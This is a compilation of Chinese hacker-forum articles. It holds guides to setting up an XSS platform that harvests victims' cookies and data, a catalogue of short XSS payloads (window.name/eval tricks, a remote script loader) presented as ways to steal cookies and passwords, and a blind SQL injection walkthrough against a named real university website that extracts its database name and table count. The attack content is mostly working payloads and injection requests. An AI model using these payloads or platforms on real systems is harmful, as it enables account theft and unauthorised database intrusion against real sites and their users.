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第一章 前端技术 

第1节. XSS 平台部署教程 

作者：Str0ng 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org 

0x00 前言 

上班后一直没啥大时间来整理写这些繁杂的东西，本文有网上现成的我觉得可用并且本人亲

自测试后的才复制过来的，其他均为原创，转载请保留 ID，不胜感激。像我这样的穷屌丝

用 SAE 是最明智的选择，但是有 SAE 没有备案的域名你就别折腾绑域名了，一个是很卡，二

个是芸豆消耗会很大，有些有 VPS 的高富帅们你们直接用 VPS 吧，最后说下用空间的朋友，

我们用空间被空间商所限制，所以遇到些问题还是自己解决吧，xsser.me 的源码我在空间里

至今未成功，因为需要 URL 重定向的支持。。。但是你们用空间搭建成功的麻烦说下我们可

以抛砖引玉来交流。好了不多说了，希望大家能为本文提出意见或者建议，也可以分享下你

的搭建 XSS 平台经历或经验，让我们一起共同的学习。 

0X01 空间类 

我使用的程序如下： 

xssing @Yaseng 

空间环境是 2k3 + iis6.0 

http://www.webweb.com/不是广告只是纯粹的搭建测试用 

首先我们测试 xssing 源码地址 

http://code.google.com/p/xssing/ 

作者一些常见问题里已经写的很清楚了，如图 1-1-1： 

 

图  1-1-1 
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首先我们去\xssing1.3\apps\index\action\User.Action.php 修改如下的东西，如图 1-1-2： 

 

图  1-1-2 

Admin 这个参数可以自定义，比如改成 sb，或者你也可以不改默认。 

\xssing1.3\config\mysql.php 

打开编辑填入对应数据库信息，如图 1-1-3： 

 

图  1-1-3 
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\xssing1.3\uauc\define.php 如图 1-1-4： 

 

图  1-1-4 

修改为你的当前 URL 地址。至此文件修改部分结束。 

然后请把\xssing1.3\xing.sql 导入数据库，如图 1-1-5： 

 

图  1-1-5 

对应的库名里导入库。 

然后我们上传我们之前修改好的 xssing,FTP。 

这部分我省略了这太尼玛简单不会的自己去百度吧。 

架设成功后请去你刚刚改的注册地址获取注册码注册。 

http://你的地址//?m=user&a=get_incode&token=你改的参数&n=10，如图 1-1-6 和图 1-1-7： 

 

图  1-1-6 
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图  1-1-7 

测试成功，如图 1-1-8 和图 1-1-9： 

 
图  1-1-8 

图  1-1-9 

获取到的数据，如图 1-1-10： 

 

图  1-1-10 

0x02 VPS 类 

1). Apache 坏境 

xsser.me 搭建过程： 

1、首先搭建 php 的环境，我这里用的是 wamp2.2 的版本，可以很方便的搭建起 php 环境。 

2、下载 xsser.me 的源码，解压缩到相应的目录。 
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这里我只拷贝了”xssplatform”目录，并重命名为了”xss”。 

然后是使用 phpMyAdmin 在 mysql 中新建一个数据库，将该目录下的”xssplatform.sql”文件导

入该数据库，如图 1-1-11 和图 1-1-12： 

 

图  1-1-11 

 

图  1-1-12 

3、点击执行后，可以看到已经创建好了表，如图 1-1-13： 

 

图  1-1-13 

4、执行下面的 sql 语句，改为自己的域名。这里我用的是本地主机搭建的环境，所以直接

使用了 ip 地址”192.168.0.104”，如图 1-1-14 和图 1-1-15： 

“UPDATE oc_module SET code=REPLACE(code,’http://xsser.me’,’http://192.168.0.104/xss’)” 
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图  1-1-14 

 

图  1-1-15 

5、修该网站目录下面的 config.php 文件，根据具体情况和注释，修改以下几项，如图 1-1-16： 

 

图  1-1-16 

6、访问网站测试一下，然后注册一个新的帐号，如图 1-1-17： 
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图  1-1-17 

在这里提交注册时旧的版本点击提交注册后会没反应，查看源码，会发现 type="button"要

改为”submit”才能提交。我的就是旧版本，没办法，去改吧。o(T ︿︶)o!如图 1-1-18： 

 

图  1-1-18 

8、找到如下所示的目录可以发现这个文件。然后可以直接修改 type 为“submit”。然后刷

新页面就可以注册了。但是这个文件是一个临时生成的文件，重新生成该文件时可能还会碰

到这样的问题，所以还要修改源文件中的 type。 

临时文件的目录，如图 1-1-19，源文件的目录，如图 1-1-20： 
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图 1-1-19                                         图 1-1-20 

要修改的部分，如图 1-1-21： 

 

图  1-1-21 

然后再尝试注册，如图 1-1-22： 

 

图  1-1-22 

9、然后创建一个项目测试下，看下平台是否搭建好，如图 1-1-23 和图 1-1-24： 

 

图  1-1-23 
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图 1-1-24                                     图 1-1-25 

我们要使用下面的地址进行 xss 的时候还需要做一件事情，就是 url 重写。 

10、http://192.168.0.104/xss/WaBSHV?1377485430 

只需要在网站目录下创建一个”.htaccess”文件即可，如上图 1-1-25。 

文件内容如下： 

<IfModule mod_rewrite.c> 

RewriteEngine on 

RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1 

RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3 

RewriteRule ^register/(.*?)$ index.php?do=register&key=$1 

RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1 

RewriteRule ^login$ index.php?do=login 

</IfModule> 

11、创建一个 html 文件然后浏览器访问这个 html 文件，测试一下，如图 1-1-26～图 1-1-28： 

 

图  1-1-26 

 

图  1-1-27 

 

图  1-1-28 

12、测试成功。接下需要给自己点权限，然后可以发放邀请码。修改 user 表里相应用户的
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的 adminLevel 项的值为”1”即可。phpmyadmin 里直接双击修改。或者执行 sql 语句“UPDATE 

`xss`.`oc_user` SET `adminLevel` = '1' WHERE `oc_user`.`id` =1 LIMIT 1 ;”，如图 1-1-29： 

 

图  1-1-29 

13、然后修改 config.php 文件，经注册配置为只允许邀请注册。然后重新登录，如图 1-1-30： 

 

图  1-1-30 

14、然后访问“http://192.168.0.104/xss/index.php?do=user&act=invite”页面， 

发放邀请码，如图 1-1-31： 

 

图  1-1-31 

这个页面的临时文件与源文件的修在下面这两个个文件中，如图 1-1-32 和图 1-1-33： 

 

图  1-1-32 

 

图  1-1-33 
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15、这时随便乱填邀请码会提示邀请码不正确或已作废，如图 1-1-34： 

      

                 图 1-1-34                                    图 1-1-35 

使用正确的邀请码注册一个，如图 1-1-36，提示注册成功如图 1-1-35： 

 

图  1-1-36 

2).IIS (本文摘自 2cto) 

Lmy 分享,搭建过程遇到的问题和解决方法如下： 

前奏： 

1、用命令解压 xssplatform.zip，然后修改 config.php 里面的数据库连接字段，包括用户名，

密码，数据库名，访问 URL 起始和伪静态的设置。 

2、在 web 根目录下有一个 xssplatform.sql，导入库，然后导入 data.sql(注意先后顺序) 

3、进入数据库执行语句修改域名为自己的。 

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xsser’) 

期初注册用户时点击【提交注册】无反应，解决方法如下：找到 themes\default\templates

目录下的 register.html 修改第 53 行代码中： 

<input id="btnRegister" type="button" onclick="Register()" value="提交注册" /> 

改为 

<input id="btnRegister" type="submit" onclick="Register()" value="提交注册" /> 。 

接下来遇到蛋疼的就是短链接 404，这个在社区找了很多 Rewrite，在 IIS 测试都没成功， 终

于解决了。 

出现如下状况： 

http://XXXXX.XXX/Ft3Su0?1371909034 这样的连接 404 ； 

http://xxxxx.XXX/index.php?do=code&urlKey=Ft3Su0 正常。  
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解决方法： 

1、下载 ISAPI Rewrite3 full 版本  

下载地址：http://pan.baidu.com/share/link?shareid=1076846607&uk=3778218071 

下载好之，先安装 ISAPI_Rewrite3_0073.msi，安装完成之后，打开 ： 

C:\Program Files\Helicon\ISAPI_Rewrite3（默认安装）  

把 RAR 包里面的 ISAPI_Rewrite.dll 和在包里面有个绿色版文件夹的 ISAPI_RewriteSnapin.dll 复

制出来覆盖到程序目录（先备份）。 

还有记得给 ISAPI_Rewrite3 软件安装目录 network service 的读权限，rar 包里面有安装说明。 

操作完之后打开 Helicon Manager.exe，找到自己的网站，然后右侧有 edit 按钮，把下面的规

则粘贴上去就行了。 

RewriteEngine on 

RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1 

RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3 

RewriteRule ^register/(.*?)$ index.php?do=register&key=$1 

RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1 

RewriteRule ^login$ index.php?do=login 

之后重启 IIS 搞定。 

0x03 SAE 新浪云 

SAE 类的搭建@奇迹 已经为我们封装好了代码，大家去申请一个 SAE 的云创建下项目上传

下代码按照下面的步骤安装即可。 

step1：导入数据库文件； 

step2：执行 sql 替换数据库中写死的 xsser.me sql:UPDATE oc_module SET code=REPLACE(code, 

'http://xsser.me', 'http://你懂的.sinaapp.com')； 

step3：修改配置文件中的  发送邮件的邮箱和密码，config.php 文件倒数 2-3 行。修改

$config['urlroot']为你的域名； 

step4：请确定已经初始化了你的 sae 上的 mysql 和 memcache。 

如果你还有问题，请关注我的微博并@齐迹 2010 

SAE 版下载：http://pan.baidu.com/share/link?shareid=1066438711&uk=3778218071 

原版下载：http://pan.baidu.com/share/link?shareid=1070803624&uk=3778218071（安装步骤

基本同上 config.php 需要增加数据库相关配置，可参考 http://zone.wooyun.org/content/3897） 

BAE 版本下载：http://pan.baidu.com/share/link?shareid=1068986822&uk=3778218071（安装

步骤基本同上 config.php 需要增加数据库相关配置，以及 init.php 末尾发邮件相关参数） 

BAE 安装访问白板：我故隐藏了默认访问。登录请在您的域名后面加上/index.php?do=login。 

（全文完）责任编辑：桔子 

第2节 Short Of XSS 

作者：crackkay 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org 

此文章要感谢二哥，和长短短的指点，在他们的指点下我才能写出此文章。 

0x01 背景 

关键时候长度不够怎么办？ 
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在实际的情况中如果你不够长怎么办呢？看医生？吃药？做手术？算了，既然自身硬件不

足，那么就把缺点变优点吧。熟话说：小是小威力好。 

熟话说的好，要能长能短，收放自如。在很多的情况中，我们构造的语句是被限制在一定的

字符数内。所以这个就是考验你能短的时候能不能短，能长的时候能不能长的时候到了。 

0x02 现实中的悲剧 

这是一个活生生的悲剧，一个平台上面，一个二逼朋友有妹子的平台账号，但是二逼朋友想

进妹子的 QQ 空间，用平台的备注插 QQ-XSS 代码，但是因为限制的字符太短，最终抱头痛

哭。于是就有了下图所发生的事，如图 1-2-1： 

 

图  1-2-1 

0x03 怎么变“短” 

“><script>alert(1)</script> .............................27 letters? 

Alert(1)? No Run? 

Impossible? No! 

在实际情况中，可以通过<h1>短向量或者其他的短向量去测试存在 XSS 的地方，为什么可以

这样？HTML 是一门”不太严格”的解释语言，即使没有</h1>，很多浏览器也照样可以解释

为<h1>xss</h1><h1>xss  如图 1-2-2，图 1-2-3，图 1-2-4： 

  
图 1-2-2                                    图 1-2-3 

 

图  1-2-4 

但是如果在攻击的时候，我往往需要用到很多标签、属性来达到我们的目的。下面列出一些

比较猥琐的利用： 

猥琐利用案例 1：<svg/onload=domain=id> 
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目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

S1:在 chrome 浏览器存在一个同域读取漏洞，为什么说同域呢？ 

S2:在 chrome 下如果我们访问 www.baidu.com，通过控制台来设置一下域为空，

document.domain=””，就会出现以下的错误，如图 1-2-5： 

 

图  1-2-5 

S3:为什么说 chrome 浏览器存在一个同域读取漏洞呢？下面我们通过访问 www.baidu.com.

来访问一下（com 后面还有一个.）并设置一下域为空 document.domain=””。设置结果就会 

出现以下图片所示，如图 1-2-6： 

 

图  1-2-6 

S4:这个怎么利用？ 

首先说一个问题，就是说，在同域的情况下，DOM 是互通的。就相当于我 a 可以写 b 的，b

也可以同样写 a 的。那我们该怎么来利用呢？我们可以干很多事情，比如说重写页面钓鱼，

或者盗取同域 Cookie。下面我就用 Chrome 的控制台来演示一下这个内容读取漏洞。 

S5:先来看看两段代码，本地构造的攻击页面如下： 

<!DOCTYPE html> 

<html> 

<body> 
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      <h1>这是 a.com./12.html</h1> 

      <svg/onload=domain=id> 

</body> 

</html> 

存在缺陷的 XSS 页面如下： 

<!DOCTYPE html> 

<html> 

<body> 

        <h1>这是 b.com./11.html</h1> 

        <svg/onload=domain=id> 

</body> 

</html> 

S6:下面我们通过访问我们构造的攻击页面，也就是 a.com./12.html，然后读取 domain 看看，

结果如图 1-2-7： 

 

图  1-2-7 

S7:然后我们在控制台里面用 window.open()方法打开打开存在缺陷的 XSS 页面。然后同样用

domain 查看域，如图 1-2-8： 

 

图  1-2-8 

S8:我们从上面就可以查看出，现在 a.com.和 b.com.都是处于同一域下面，那么就可以实现
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DOM 相通的概念了。 

S9:通过 DOM 重写页面测试，测试结果如图 1-2-9： 

 

图  1-2-9 

S10:其实这个方法的用处很多，比如说我找到 XXX 的 XSS 页面，我通过把域置空，然后在自

己站上构造一个页面，怎么构造就要看你的思维了，通过同域的 DOM 操作，可以钓鱼的方

式盗取 COOKIE、密码等。 

猥琐利用案例 2：<svg/onload=eval(name)> 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

S1:先把代码文译一下：<svg/onload=eval(window.name)> 

S2:这一段代码通过 svg 载入的时候执行 onload 事件，执行的时候通过 windows.name 传递给

eval 执行，如果我们自己构造一个攻击页面，然后传递的 XSS 代码呢？下面看一段代码，本

地构造的攻击页面： 

<!DOCTYPE html> 

<html> 

<body> 

      <iframe src="11.html" name="alert(1)"></iframe> 

</body> 

</html> 

存在缺陷的 XSS 页面： 

<!DOCTYPE html> 

<html> 

<body> 

 <svg/onload=eval(name)> 

</body> 

</html> 

S3:然后运行页面，测试结果如图 1-2-10： 
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图  1-2-10 

猥琐利用案例 3：<i/onclick=URL=name> 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

S1:上面的代码文译一下：<i/onclick=document.URL=window.name> 

S2:其实这段代码和上一段差不多多少，这里就不截图了，简单的讲解一下。通过点击执行

事件把 window.name 的内容给 document.URL 然后执行 javascript 代码。那么我们可以怎么

利用呢？ 

存在缺陷的 XSS 页面如下： 

<!DOCTYPE html> 

<html> 

<body> 

        <i/onclick=URL=name> 

</body> 

</html> 

本地构造的攻击页面如下： 

<!DOCTYPE html> 

<html> 

<body> 

<iframe src="11.html" name="javascript:alert(1)"></iframe> 

</body> 

</html> 

猥琐利用案例 4：<img src=x onerror=eval(name)> 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 
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S1:先把代码文译一下：<img src=x onerror=eval(window.name)； 

S2:邪恶的 eval 又来了。通过 img 元素的 src 属性出错，执行 onerror 事件，通过邪恶的 eval

执行 window.name 里面的代码； 

S3:那我们怎么来实现呢？本地构造的攻击页面如下： 

<!DOCTYPE html> 

<html> 

<body> 

      <iframe src="11.html" name="alert(1)"></iframe> 

</body> 

</html> 

存在缺陷的 XSS 页面如下： 

<!DOCTYPE html> 

<html> 

<body> 

      <img src="s.sx" onerror=eval(name) /> 

</body> 

</html> 

其实有很多用法，当然你也可以直接:<img src=x onerror=eval(alert(1)) />，如图 1-2-11： 

 

图  1-2-11 

还可以<img src=x onerror=eval(变量) />，如图 1-2-12： 

 

图  1-2-12 

还可以通过调用元素属性，或者是程序员自写的 js 代码，如图 1-2-13： 
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图  1-2-13 

猥琐利用案例 5：<img src=x onerror=with(body)createElement('script').src='[JS 地址]'> 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

S1:通过 img 元素的 src 属性出错，执行 onerror 事件； 

S2:用 with 定位到 body，通过 DOM 的一个 createElement 方法创建一个 script 元素，并使用

script 的 src 属性指向需要调用的外部 js 文件。从而达到攻击的目的； 

S3:这个就不讲解了，都应该能够看懂。 

0x04 实例 

下面引用长谷川的 PPT 的一部分（此 PPT 引用经过作者同意），如图 1-2-14 和图 1-2-15： 

 

图  1-2-14 
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图  1-2-15 

通过查看源代码： 

地址：https://*.live.com/?param=><h1>XSSed</h1><!-- 

<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 --> 

<input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from 

the client (param="><h1>XSSed</h1><!--"). 

SOURCE: System.Web FORM:" /> 

找出了 XSS 的原因是由错误消息引起的 XSS 

然后通过攻击者自己构造的页面构造 XSS，并成功实现。 

<iframe src="target" name="javascript:alert(1)">（或者使用 JavaScript 的 window.open） 

最终：作者通过 21 个字符实现 XSS（关于实现的方法请见上面的一些比较猥琐的利用元素

标签） 

代码为： 

><i/onclick=URL=name> 

当然 22 个字符也有很多方法(//后面为我们构造的代码开始)，如图 1-2-16 至图 1-2-17 

20 Letters 

<input type=hidden value=//><i/onclick=URL=name> 

22 Letters 

<input type=hidden value="//"><i/onclick=URL=name>"> 

17 Letters 

<input type=text value= //onclick=URL=name> 

 

图  1-2-16 
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图  1-2-17 

0x05 挑战最“短” 

这个活动是国外一个网站发布的，名为 XSS challenge，大家有兴趣可以讨论一下。 

19 Letters: 

<x/x=&{eval(name)}; 

此语句目前已经被封了，但是原理还是一样的。 

通过调用 window.name 属性值来执行 javascript 代码。 

22 Letters: 

<svg/onload=eval(name) 

这段代码原理也是一样的，也是通过 window.name 属性值来执行 javascirpt 代码。 

通过我们本地构造页面进行攻击。 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

存在缺陷的 XSS 页面： 

<html> 

<head> 

</head> 

<body> 

<svg/onload=eval(name) 

</body> 

</html> 

本地构造的攻击页面： 

<html> 

<head> 

<title>Web Design</title> 

</head> 
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<body> 

<iframe src="1.html" name="alert(1)"></iframe> 

</body> 

</html> 

最短的 javascript 执行代码，考验你”短”的时候到了 

10 Letters:  eval(name) 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

9 Letters:  eval(URL) 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

8 Letters URL=name 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

6 Letters:  $(URL) 

目前测试有效浏览器： 

遨游浏览器：Version: 4.1.2.2000 

Chrome 浏览器：29.0.1547.57 m 

Internet Explorer：IE10 

Firefox：23.0.1 

0x06 总结 

Javascript 是一门很好玩的解释型语言，每次去研究这些 XSS 点的时候会有很多乐趣，你越

不相信这个点有 XSS，那么就越要去研究这个点是否有 XSS。 

其实呢~~~这些技术可以称为猥琐流，因为不是按正常的逻辑思维是想不到这些的，除非那

些思想很猥琐的人。 

欢迎你加入猥琐这个团队，让我们一起猥琐吧。 

（全文完）责任编辑：桔子 

第3节. XSS 部署之 linux 篇 

作者：route 

来自：法客论坛 – F4ckTeam 

网址：http://team.f4ck.org 

这次 xss 平台搭建选用的是 centos 系统，其他 linux 也差不多。 

0x01 LAMP 环境的搭建 
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首先是下载 apache 的环境，centos 已经集成好了，如图 1-3-1： 

 

图  1-3-1 

然后当然是一大堆信息，最后显示 Complete!成功了，如图 1-3-2： 

 

图  1-3-2 

然后安装 php 环境，可以解析 php 的内容，如图 1-3-3： 

 

图  1-3-3 

OK，安装完毕，我们测试下，centos 中安装完 apache 默认的网站根路径在/var/www/html/

下，我们建立一个 index.php 文件作为测试，如图 1-3-4： 

 

图  1-3-4 

使用 vim 打开，我们填入 phpinfo 函数，如图 1-3-5： 

 

图  1-3-5 

当然就是这样，打开 HTTP 服务测试页面，如图 1-3-6： 

 

图  1-3-6 

有一个报错，是因为没有配置域名，只要在/etc/httpd/conf/httpd.conf 文件中配置

ServiceName 就不会报错了。等下修改配置 apache 配置文件的时候一起截图。OK，测试一

下，phpinfo 的页面出来了，如图 1-3-7： 
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图  1-3-7 

然后当然是数据库的支持，首先要下载 mysql 数据库，如图 1-3-8： 

 

图  1-3-8 

两个组件，一个 mysql 连接器一个服务器。 

下载完数据库首先要将数据库初始化一下，如图 1-3-9： 

 

图  1-3-9 
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使用 service mysqld start  

首次启动 mysql 初始化，再使用 

mysqladmin -u root password '密码' 

给 root 设置一个密码。 

OK 数据库就安装完成，接着安装 php 对数据库的支持，如图 1-3-10： 

 

图  1-3-10 

重启 apache 服务，刷新 phpinfo 页面，如图 1-3-11 和图 1-3-12，图 1-3-13： 

 

图  1-3-11 

 

图  1-3-12 
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图  1-3-13 

往下翻，找到这两个说明 php 和 mysql 已经连接完成了。LAMP 环境搭建完毕。 

0x02 让 xss 跑起来 

上传 xss 的源码。并解压，如图 1-3-14： 

 

图  1-3-14 

很简单的命令，你懂的，如图 1-3-15 和图 1-3-16： 

 

图  1-3-15 

 

图  1-3-16 

OK，文件齐全，下面开始配置。 

首先要给 xss 环境准备一个数据库和数据库的用户（当然也能用 root，用 root 麻烦会少一点） 

进入数据库配置，如图 1-3-17： 
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图  1-3-17 

mysql -u root –p； 

链接进入本地数据库，如图 1-3-18： 

 

图  1-3-18 

创建了 xss 数据库和 xsser 用户，xsser 用户的密码设定为 123456 

刚刚创建的 xsser 用户 是没有权限的。我们把 xss 数据库的所有权限赋给 xsser，如图 1-3-19： 

 

图  1-3-19 

GRANT ALL PRIVILEGES ON xss.* TO 'xsser'@'%' IDENTIFIED BY '123456'； 

OK，数据库基础准备好了，我们去修改下 config 文件，如图 1-3-20 

 

图  1-3-20 

用 vim 打开 config.php，如图 1-3-21： 
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图  1-3-21 

这里几个部分修改下。改完如下，如图 1-3-22： 

 

图  1-3-22 

下面把 xss 平台的初始数据(xssplantform.sql 文件)导入进我们的 mysql，如图 1-3-23： 

 

图  1-3-23 

OK 查看下数据库，如图 1-3-24： 
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图  1-3-24 

都有了，当然，还差一个文件权限的问题。现在访问是空白，如图 1-3-25 和图 1-3-26： 

 
图  1-3-25 

 

图  1-3-26 
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可以看到整个文件都是属于 root 的，所以我们改变下权限，让他属于 apache 的内建用户

apache，如图 1-3-27～图 1-3-29： 

 

图  1-3-27 

 

图  1-3-28 

 

图  1-3-29 

OK 都是 apache 的了。 

刷新下页面，如图 1-3-30： 

 

图  1-3-30 

到此我们的平台跑起来了。 

0x03 蛋疼的调整们 

当然，现在点注册还是没有效果的，还需要做一些修改。 

首先进入数据库，将 oc_module 中的内容改为自己的 IP 或域名，如图 1-3-31： 
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图  1-3-31 

然后这里旧版本的源码需要把/var/www/html/themes/default/templates/register.html 里面 53

行的 button 改为 submit，如图 1-3-32 和图 1-3-33： 

 
图  1-3-32 

 

图  1-3-33 

改完为了保险起见，把/var/www/html/templates_c/目录下的临时文件删除。 

重启 httpd，如图 1-3-34： 

 

图  1-3-34 

重新打开我们的网页，OK 可以注册了。 

但是这里注册的时候会出这样的问题，如图 1-3-35： 

 

图  1-3-35 

好吧，这个问题我排错的时候搞了半天，问题有点奇葩，先说解决方法吧，在 config.php 文

件里面，将第九行的数据库地址改成 localhost，如图 1-3-36： 
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图  1-3-36 

因为我搭建了不止一次，在写文章的时候把数据库地址改成 127 就报错，改成 localhost 就

OK。当然，不排除改成 localhost 以后还会报错的情况，如果出现还报错的情况，我从我经

验上来讲（因为没想通原理），用 root 用户连上数据库，加上这样一句话： 

GRANT ALL PRIVILEGES ON xss.* TO 'xsser'@'localhost' IDENTIFIED BY '123456'; 

给数据库用户赋予一个本地登录权限，再进行测试，如果还是不行，把 config.php 文件里面

的用户改成 root 用户，再测试。当然这里面的每一步修改都需要重启 apache 服务器。 

别忘记命令： 

service httpd restart 

千辛万苦，终于看到了，如图 1-3-37 和图 1-3-38： 

 

图  1-3-37 

 

图  1-3-38 

0x04 这是最后....最后... 

好，终于进入最后一步，测试 XSS 能否使用，并邀请小伙伴们注册，如图 1-3-39： 

 

图  1-3-39 
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来创建一个项目吧，如图 1-3-40～图 1-3-42： 

 

图  1-3-40 

 

图  1-3-41 
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图  1-3-42 

当然，我的项目代码在这里也显示了，复制出来： 

<script src=http://192.168.4.32/xssplatform/TNMaJe?1377587267></script> 

测试一下，如图 1-3-43： 

 

图  1-3-43 

打开它，看看 x 到没，哎呦我去，貌似没有，如图 1-3-44： 
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图  1-3-44 

分析一下： 

 

图  1-3-45 

404 了，想了下，可能是 url 重写的问题。 

在网站根目录下，创建一个.htaccess 的隐藏文件，如图 1-3-46： 

 

图  1-3-46 

直接给出内容吧，如图 1-3-47： 

 

图  1-3-47 

<IfModule mod_rewrite.c> 

RewriteEngine on 

RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1 

RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3 

RewriteRule ^register/(.*?)$ index.php?do=register&key=$1 

RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1 

RewriteRule ^login$ index.php?do=login 

</IfModule> 

还记得，去修改下/etc/http/conf/httpd.conf 文件，如图 1-3-48： 
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图  1-3-48 

搜索一下 AllowOverride，应该是在这里，把 None 改成 All，如图 1-3-49： 

 
图  1-3-49 

重启下 httpd 服务，我们要开始了，如图 1-3-50 和图 1-3-51： 

 
图  1-3-50 

 
图  1-3-51 

抓包显示访问都正常了，如图 1-3-52： 

 

图  1-3-52 

最想要的东西也回来了。 

好东西怎么能一个人独享，赶快叫小伙伴们来加入吧。 

将 config.php 文件改下，如图 1-3-53： 

 

图  1-3-53 

还记得他吧，然后给我们自己的用户加上可以邀请的权限，连接下数据库，如图 1-3-54： 
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图  1-3-54 

好吧，为了测试我创建了很多用户，我们现在用的是 nimei 这个用户，需要把他的 adminLevel

权限改成 1，如图 1-3-55： 

 

图  1-3-55 

UPDATE oc_user SET adminLevel=1 WHERE id=4; 

把自己的用户登出再登陆一下，访问 

http://192.168.4.32/xssplatform/index.php?do=user&act=invite 
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这个页面，如图 1-3-56： 

 

图  1-3-56 

发给小伙伴，来注册吧。 

（全文完）责任编辑：桔子 

第二章 SQL 注入 

第1节. PostgreSQL 盲注笔记 

作者：huang 

来自：Silic Group Hacker Army 

网站：http://blackbap.org 

前言： 

对 postgresql 注入很是陌生。 

基本是没什么思路我等小菜还真的是没见过。不知道什么长相，这几天看一个韩国站的时候

发现了一个。看日本站的时候又看了个。 

找了下相关的资料。其实也是还可以理解的。但是对我等小菜来说还是有不理解的地方，只

是把自己理解的写出来和大家学习了。也希望哪位大牛能把我不理解的地方写下去。 

正文： 

注入点： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=1 （返回正常） 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and 1=2 （返回错误） 

工具判断注入的方法： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6=6)  6=6  （返回正常）   

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 aNd(6=7)  6=7  （返回错误） 

猜字段数： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 15（返回正常）  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 order by 16 （返回错误） 

但是可悲的是 union select 不可以用。 

那么这样正常： 
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http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 

30 

意思是：检测数据库的长度在是否在：between 0 and 30 之间。 

错误： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 0 and 7 

说明数据库名的长度不在 0-7 之间。 

正常： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(current_database())) between 7 and 

11 

说明在 7 and 11 之间。 

正常： 

http://www.u-tokyo.ac.jp//news/detail_e.html?id=13072 and (select length(current_database())) between 8 and 

8 

说明数据库名的长度为 8  

接下来我们来看看数据库名是什么： 

这两个正常： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) 

between 0 and 32768 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) 

between 0 and 16384 

这两个错误： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) 

between 0 and 64  

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),1,1))) 

between 64 and 96 

正常： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select  

ascii(substr(current_database(),1,1))) between 117 and 117 

我们猜到了数据库第一个字符的 ascii 是：117。 

我们来猜第二个： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(current_database(),2,1))) 

between 0 and 32768 

一直下去就能把数据库弄出来了。 

结果是：utokyodb。 

Ok，我们接下来的任务是猜出表名。 

我们先来看看有多少个表。 

看两个正常： 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 

0 and 2000 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select count(*) from pg_stat_user_tables) between 

20and 20 

我们有 20 个表。 

接下来我们来看看表是什么。 
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http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables 

limit 1 OFFSET 0) between 0 and 128 

这句话的意思是：看看第一个表的长度是多少 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables 

limit 1 OFFSET 0) between 0 and 64   

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select length(relname) from pg_stat_user_tables 

limit 1 OFFSET 0) between 19 and 19 

这两句说明第一个表的长度为：19 

我们接下来看看第一个表的内容是什么。 

http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072 and (select ascii(substr(relname,1,1)) from 

pg_stat_user_tables limit 1 OFFSET 0) between 0 and 32768  

